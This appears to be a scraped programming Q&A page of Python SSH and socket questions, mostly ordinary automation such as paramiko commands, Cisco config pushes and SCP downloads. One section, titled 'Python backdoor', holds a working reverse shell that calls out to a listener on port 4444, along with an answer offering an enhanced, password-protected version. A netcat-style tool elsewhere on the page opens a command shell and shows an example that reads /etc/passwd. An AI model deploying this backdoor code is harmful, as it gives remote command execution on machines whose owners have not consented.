Connect to host and run ps aux command - python

Trying to ssh to Ubuntu and get process details. Can connect and login to device, but unable to get output. Getting output as below,
connected to device x.x.x.x
1
('Command: ', 'ps aux | grep vmstat')
2
Did not connect to x.x.x.x
import os
import paramiko
import time
import signal
import subprocess
processname = 'vmstat'
def connect_to_devices(ip, procname):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ip, username = 'xxxxx', password='xxxxx', timeout = 10)
time.sleep(.25)
channel = ssh.invoke_shell()
output = channel.recv(10000)
print(output)
print("connected to device")
proc = findprocess(procname)
time.sleep(10)
print('2')
print(proc)
return proc
except:
print("Did not connect to %s" % ip)
return 'failed'
def findprocess(p):
print('1')
command = 'ps aux | grep ' + processname
print('Command: ', command)
print('2')
for line in os.popen(command,'r',1):
print('3')
fields = line.split()
print('4')
print (fields)
return fields
hosts = ['x.x.x.x']
for h in hosts:
t = connect_to_devices(h, processname)

Related

Python version of Netcat (follow-up question)

This question is a follow-up of this topic.
The OP was very likely encountering "Connection Refused". I'm facing it now with the same
code:
#!/usr/bin/env python3
import sys, socket, subprocess, threading, getopt
listen = False
upload = False
command = False
execute = ''
target = ''
upload_dest = ''
port = 0
USAGE = '''
BHP Net Tool
Usage: bhpnet.py -t target_host -p port
-l --listen - listen on [host]:[port] for incoming
connections
-e --execute=file_to_run - execute the given file upon receiving
a connection
-c --command - initialize a command shell
-u --upload=destination - upon receiving connection upload a file
and write to [destination]
Examples:
bhpnet.py -t 192.168.0.1 -p 5555 -l -c
bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe
bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"
echo "ABCDEF" | ./bhpnet.py -t 192.168.11.12 -p 135
'''
def usage():
print(USAGE)
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_dest
global target
if not len(sys.argv[1:]):
usage()
try:
opts, args = getopt.getopt(sys.argv[1:], 'hle:t:p:cu:',['help','listen',
'execute','target','port','command','upload'])
except getopt.GetoptError as err:
print(str(err))
usage()
for o, a in opts:
if o in ('-h', '--help'):
usage()
elif o in ('-l', '--listen'):
listen = True
elif o in ('-e', '--execute'):
execute = a
elif o in ('-c', '--commandshell'):
command = True
elif o in ('-u', '--upload'):
upload_dest = a
elif o in ('-t', '--target'):
target = a
elif o in ('-p', '--port'):
port = int(a)
else:
assert False, 'Unhandled Option'
if not listen and len(target) and port > 0:
buffer = sys.stdin.read()
client_sender(buffer)
if listen:
server_loop()
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
client.connect((target, port))
if len(buffer):
client.send(buffer)
while True:
recv_len = 1
response = ''
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print(response)
buffer = input('')
buffer += '\n'
client.send(buffer)
except Exception as e:
print(e) # here it prints out "Connection Refused"
print('[*] Exception ! Exiting ...')
client.close()
def server_loop():
global target
if not len(target):
target = '0.0.0.0'
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
client_thread = threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
def run_command(command):
command = command.rstrip()
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = 'Failed to execute command.\r\n'
return output
def client_handler(client_socket):
global upload
global execute
global command
if len(upload_dest):
file_buffer = ''
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
try:
with open(upload_dest, 'wb') as file_descriptor:
file_descriptor.write(file_buffer)
client_socket.send(b'Successfully saved file to {}.'.format(upload_dest))
except:
client_socket.send(b'Failed to save file to {}'.format(upload_dest))
if len(execute):
output = run_command(execute)
client_socket.send(output)
if command:
while True:
client_socket.send(b'<BHP:#> ')
cmd_buffer = ''
while '\n' not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
response = run_command(cmd_buffer)
client_socket.send(response)
main()
I'd like to ask more experienced network professsional why it could possibly throw "Connection Refused" if the port 9999 is open and firewall isn't blocking it ?
Running it like this:
server-side: ./netcat_repl.py -l -p 9999 -c
client-side: ./netcat_repl.py -t localhost -p 9999

Python Script to configure (via SSH) Cisco Switches

I have a lot of cisco switches and routers in my environment. I have three sets of credentials (only one of them works with a particular device. I then have the IPs listed in a notepad (sub.txt). And the configuration in another notepad (config.txt)
The aim is to push the configurations (line by line) from config.txt to the list of list of IP via SSH. If the command is accepted by the devices, a log should be put into success.txt and if the command is not accepted for some reason, a log should be appended to fail.txt
But this does not work. Can you please help me fix?
import paramiko
import time
import sys
import logging
import socket
import pexpect
import traceback
from pexpect.popen_spawn import PopenSpawn
remote_conn_pre = paramiko.SSHClient()
remote_conn_pre.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ips = [i.strip() for i in open("sub.txt")]
user_local = "user1"
pass_local = "pass1"
user_aspac = "user2"
pass_aspac = "pass2"
user_batcca = "user3"
pass_batcca = "pass3"
g = open('config.txt', 'r+')
str = g.read()
g.close
success = open('success.txt', 'a')
fail = open('failed.txt', 'a')
paramiko.util.log_to_file("paramiko.log")
for ip in ips:
try:
remote_conn_pre.connect(ip, username=user_local, password=pass_local, timeout=4, look_for_keys=False, allow_agent=False)
#print ("SSH connection established to %s" + ip)
remote_conn = remote_conn_pre.invoke_shell()
print (ip + ' === local credential')
#remote_conn.send("show switch\n")
remote_conn.send((str))
time.sleep(2)
output = remote_conn.recv(5000)
print (output)
except paramiko.AuthenticationException:
try:
remote_conn_pre.connect(ip, username=user_aspac, password=pass_aspac, timeout=4, look_for_keys=False, allow_agent=False)
remote_conn1 = remote_conn_pre.invoke_shell()
print ip + ' === Global Credentials'
#output = remote_conn.recv(500)
#remote_conn.send("show switch")
#remote_conn.send("\n")
remote_conn1.send((str))
time.sleep(2)
output1 = remote_conn1.recv(5000)
print (output1)
except paramiko.AuthenticationException:
try:
#remote_conn_pre.connect(ip, username=user_batcca, password=pass_batcca, timeout=4, look_for_keys=False, allow_agent=False)
#remote_conn2 = remote_conn_pre.invoke_shell()
child = pexpect.popen_spawn.PopenSpawn('ssh ' + user_batcca + '#' + ip)
child.expect ('[pP]assword:')
child.sendline(pass_batcca)
print ip + ' === BATCCA Credential'
#output2 = remote_conn2.recv(5000)
for line in open('Config.txt').xreadlines():
child.sendline(line)
i = child.expect (['#', '^'])
if i==0:
success.write(ip + '\t' + line +'\n')
elif i==1:
fail.write(ip + '\t' + line +'\n')
time.sleep(5)
output2 = child.recv(5000)
print (output2)
except paramiko.AuthenticationException:
print ip + ' === Bad credentials'
remote_conn3 = remote_conn_pre.invoke_shell()
output3 = remote_conn3.recv(5000)
print (output3)
except paramiko.SSHException:
print ip + ' === Issues with ssh service'
except socket.error:
print ip + ' === Device unreachable'

Python backdoor

So hello everybody, Im building a python backdoor. So when I start the netcat for listener and I start the backdoor it connects and everything but when I type ipconfig for example it says "The specified file directory cannot be found" or something like that. Here is the code:
#!/usr/bin/python
import socket
import subprocess
HOST = '192.168.1.7' # IP for remote connection
PORT = 4444 # Port for remote connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(b'\nYou are connected !\n\nConsole > ')
while 1:
data = s.recv(1024)
if data == 'quit' : break
proc = subprocess.Popen(str(data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(b'\n' + stdoutput)
# Exiting
s.send(b'\nExiting...\n')
s.close()
Try this:
Hope its not too much. I added a few features as well.
You're godamm welcome :)
#!/usr/bin/python
# Import the required librarys for the job
import subprocess
import socket
import os
# Set variables used in the script
HOST = '10.0.0.98' # IP for remote connection
PORT = 4444 # Port for remote connection
PASS = 'Te$t!2#456' # For making the script secure
# Create the socket that will be used
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# This method will be used for handling the exit when you type -quit
def Quit():
s.send(' [<] Hope to see you soon :)\n')
s.close()
Connect()
# This method will wait until the connection is alive
def Connect():
s.connect((HOST, PORT))
s.send('''\n
+--------------------+
| You are connected! |
+--------------------+
| X IS Something err!! |
| < IS Incomming!! |
| > IS Outgoing!! |
+--------------------+
''')
Login()
# Ask for login; if they do not get it right it will ask again ect ect etc
def Login():
s.send(' [>] Please login #>> ')
pwd = s.recv(1024)
if pwd.strip() == PASS:
Shell()
else:
s.send(' [X] Incorrect Login!!\n')
Login()
# Main method -- Hope I'm not pissing you off by calling it a method, I'm used to C# lol ;)
def Shell():
s.send(' [<] We\'re in :)\n [>]-{ ' + os.curdir + ' } Console #>> ')
while 1:
data = s.recv(1024)
# Make sure that you use '-quit'!!
if data.upper()[:5] == '-QUIT' : break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = " [<] " + proc.stdout.read() + proc.stderr.read()
s.send('\n\n' + stdoutput + '\n\n')
s.send(' [>]-{ ' + os.curdir + ' } Console #>> ')
Quit()
Connect()

How to run PSCP cmd window step in my Python script

I am running Hadoop MapReduce and other SSH commands from a Python script using the paramiko module (code can be seen here). Once the MapReduce job is complete, I run the getmerge step to get the output into a text file.
The problem is, I then have to open a cmd window and run PSCP to download the output.txt file from the HDFS environment to my computer. For example:
pscp xxxx#xx.xx.xx.xx:/nfs_home/appers/cnielsen/MROutput_121815_0.txt C:\Users\cnielsen\Desktop\MR_Test
How can I incorporate this pscp step into my script so that I don't have to open a cmd window to run this after my MapReduce and getmerge tasks are complete? I would like my script to be able to run the MR task, getmerge task, and then automatically save the MR output to my computer.
Here is my code.
I have solved this problem with the following code. The trick was to use the scp module and import SCPClient. See the scp_download(ssh) function below.
When the MapReduce job completes the getmerge command is run, followed by the scp_download step.
import paramiko
from scp import SCPClient
import time
# Define connection info
host_ip = 'xx.xx.xx.xx'
user = 'xxxxxxxx'
pw = 'xxxxxxxx'
port = 22
# Paths
input_loc = '/nfs_home/appers/extracts/*/*.xml'
output_loc = '/user/lcmsprod/output/cnielsen/'
python_path = "/usr/lib/python_2.7.3/bin/python"
hdfs_home = '/nfs_home/appers/cnielsen/'
output_log = r'C:\Users\cnielsen\Desktop\MR_Test\MRtest011316_0.txt'
# File names
xml_lookup_file = 'product_lookups.xml'
mapper = 'Mapper.py'
reducer = 'Reducer.py'
helper_script = 'Process.py'
product_name = 'test1'
output_ref = 'test65'
target_file = 'test_011416_3.txt'
# ----------------------------------------------------
def createSSHClient(host_ip, port, user, pw):
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(host_ip, port, user, pw)
return client
# ----------------------------------------------------
def buildMRcommand(product_name):
space = " "
mr_command_list = [ 'hadoop', 'jar', '/share/hadoop/tools/lib/hadoop-streaming.jar',
'-files', hdfs_home+xml_lookup_file,
'-file', hdfs_home+mapper,
'-file', hdfs_home+reducer,
'-mapper', "'"+python_path, mapper, product_name+"'",
'-file', hdfs_home+helper_script,
'-reducer', "'"+python_path, reducer+"'",
'-input', input_loc,
'-output', output_loc+output_ref]
MR_command = space.join(mr_command_list)
print MR_command
return MR_command
# ----------------------------------------------------
def unbuffered_lines(f):
line_buf = ""
while not f.channel.exit_status_ready():
line_buf += f.read(1)
if line_buf.endswith('\n'):
yield line_buf
line_buf = ""
# ----------------------------------------------------
def stream_output(stdin, stdout, stderr):
writer = open(output_log, 'w')
# Using line_buffer function
for l in unbuffered_lines(stderr):
e = '[stderr] ' + l
print '[stderr] ' + l.strip('\n')
writer.write(e)
# gives full listing..
for line in stdout:
r = '[stdout]' + line
print '[stdout]' + line.strip('\n')
writer.write(r)
writer.close()
# ----------------------------------------------------
def run_MapReduce(ssh):
stdin, stdout, stderr = ssh.exec_command(buildMRcommand(product_name))
stream_output(stdin, stdout, stderr)
return 1
# ----------------------------------------------------
def run_list_dir(ssh):
list_dir = "ls "+hdfs_home+" -l"
stdin, stdout, stderr = ssh.exec_command(list_dir)
stream_output(stdin, stdout, stderr)
# ----------------------------------------------------
def run_getmerge(ssh):
getmerge = "hadoop fs -getmerge "+output_loc+output_ref+" "+hdfs_home+target_file
print getmerge
stdin, stdout, stderr = ssh.exec_command(getmerge)
for line in stdout:
print '[stdout]' + line.strip('\n')
time.sleep(1.5)
return 1
# ----------------------------------------------------
def scp_download(ssh):
scp = SCPClient(ssh.get_transport())
print "Fetching SCP data.."
scp.get(hdfs_home+target_file, local_dir)
print "File download complete."
# ----------------------------------------------------
def main():
# Get the ssh connection
global ssh
ssh = createSSHClient(host_ip, port, user, pw)
print "Executing command..."
# Command list
##run_list_dir(ssh)
##run_getmerge(ssh)
##scp_download(ssh)
# Run MapReduce
MR_status = 0
MR_status = run_MapReduce(ssh)
if MR_status == 1:
gs = 0
gs = run_getmerge(ssh)
if gs == 1:
scp_download(ssh)
# Close ssh connection
ssh.close()
if __name__ == '__main__':
main()

ssh command with argument execution in python

I need to execute a ssh command with arguments in python. I have been able to execute the ssh command.But, I cannot figure out, how to pass the arguments.
The command:
ssh -L 22222:localhost:5434 sayan#155.97.73.252
Here is the code :
ssh = paramiko.SSHClient();
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy());
ssh.connect("155.97.73.252", username="sayan", password="#####");
paramiko Example
class RunCommand(cmd.Cmd):
""" Simple shell to run a command on the host """
prompt = 'ssh > '
def __init__(self):
cmd.Cmd.__init__(self)
self.hosts = []
self.connections = []
def do_add_host(self, args):
"""add_host
Add the host to the host list"""
if args:
self.hosts.append(args.split(','))
else:
print "usage: host "
def do_connect(self, args):
"""Connect to all hosts in the hosts list"""
for host in self.hosts:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(
paramiko.AutoAddPolicy())
client.connect(host[0],
username=host[1],
password=host[2])
self.connections.append(client)
def do_run(self, command):
"""run
Execute this command on all hosts in the list"""
if command:
for host, conn in zip(self.hosts, self.connections):
stdin, stdout, stderr = conn.exec_command(command)
stdin.close()
for line in stdout.read().splitlines():
print 'host: %s: %s' % (host[0], line)
else:
print "usage: run "
def do_close(self, args):
for conn in self.connections:
conn.close()
if __name__ == '__main__':
RunCommand().cmdloop()
Example output:
ssh > add_host 127.0.0.1,jesse,lol
ssh > connect
ssh > run uptime
host: 127.0.0.1: 14:49 up 11 days, 4:27, 8 users,
load averages: 0.36 0.25 0.19
ssh > close
fabric example
from fabric import tasks
env.hosts = ['localhost', 'sunflower.heliotropic.us']
pattern = re.compile(r'up (\d+) days')
# No need to decorate this function with #task
def uptime():
res = run('uptime')
match = pattern.search(res)
if match:
days = int(match.group(1))
env['uts'].append(days)
def main():
env['uts'] = []
tasks.execute(uptime)
uts_list = env['uts']
if not uts_list:
return # Perhaps we should print a notice here?
avg = sum(uts_list) / float(len(uts_list))
print '-' * 80
print 'Average uptime: %s days' % avg
print '-' * 80
if __name__ == '__main__':
main()

Categories

Resources